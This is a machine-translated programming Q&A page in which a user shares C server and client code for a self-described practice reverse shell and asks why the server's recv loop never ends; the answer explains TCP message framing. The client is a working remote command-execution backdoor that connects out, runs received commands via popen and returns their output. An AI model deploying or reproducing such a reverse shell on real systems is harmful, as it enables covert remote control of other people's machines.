C функция recv, блокирующая l oop от повторения после получения всего (sys / socket) - PullRequest
0 голосов
/ 12 апреля 2020

Я работаю над обратной оболочкой (для практики) и пытаюсь отправить вывод функции popen обратно на сервер. По какой-то причине, когда я oop просматриваю файл и отправляю его, (серверная запись) l oop не прерывается, когда он прекращает получать сообщения. Может ли кто-нибудь найти мою ошибку. и помочь мне исправить это? Код для сервера:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>

#define PORT 4583


int main(){

    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in server;
    server.sin_addr.s_addr = INADDR_ANY;
    server.sin_port = htons(PORT);
    server.sin_family = AF_INET;
    bind(sock, (struct sockaddr *) &server, sizeof(server));
    listen(sock, 2);
    int client = accept(sock, NULL, NULL);
    char * command = (char *) malloc(75);
    char * output = (char * ) malloc (5000);
    ssize_t size;
    while (1){
        printf(">> ");
        fgets(command, 75, stdin);
        send(client, command, strlen(command), 0);
        while((size = recv(client, output, 5000, 0)) != 0){
            printf("%s", output);
            if (size == 0){
                break;
            }
        }
        printf("Done");
    }
    free(command);
    free(output);
    return 0;
}

Код для клиента:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 4583

int main(){

    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in server;
    server.sin_addr.s_addr = INADDR_ANY;
    server.sin_port = htons(PORT);
    server.sin_family = AF_INET;
    connect(sock, (struct sockaddr *) &server, sizeof(server));

    char* command = (char *) malloc(75);
    int commandlen;
    char* output = (char *) malloc (5000);
    while (1){
        recv(sock, command, 75, 0);
        commandlen = strlen(command);
        if (*command == 'c' && *command+1 == 'd'){
            command[commandlen-1] = '\0';
            int stat = chdir(command+3);
            if (stat != 0){
                output = strerror(errno);
                send(sock, output, 5000, 0);
            } else {
                send(sock, 0, 0, 0);
            }
        } else{
            FILE * cmd = popen(command, "r");
            while (fgets(output, 5000, cmd) != NULL){
                send(sock, output, 5000, 0);
            }
            pclose(cmd);
        }
    }
    free(output);
    free(command);

    return 0;
}

1 Ответ

1 голос
/ 12 апреля 2020
    while((size = recv(client, output, 5000, 0)) != 0){

Вы ожидаете, что recv вернет 0, когда клиент "готов". Но единственное «сделано» с точки зрения TCP - это если TCP-соединение закрыто и только тогда recv вернет 0. Только ваш клиент не закрывает соединения после обработки команды, но вместо этого он ожидает следующую команду.

Чтобы исправить это, вам нужно внедрить некоторый протокол сообщений поверх TCP, чтобы вы знали, когда вывод команды фактически сделан. Типичными способами сделать это являются префикс каждого сообщения по длине или завершение каждого сообщения некоторой уникальной последовательностью байтов конца сообщения.

...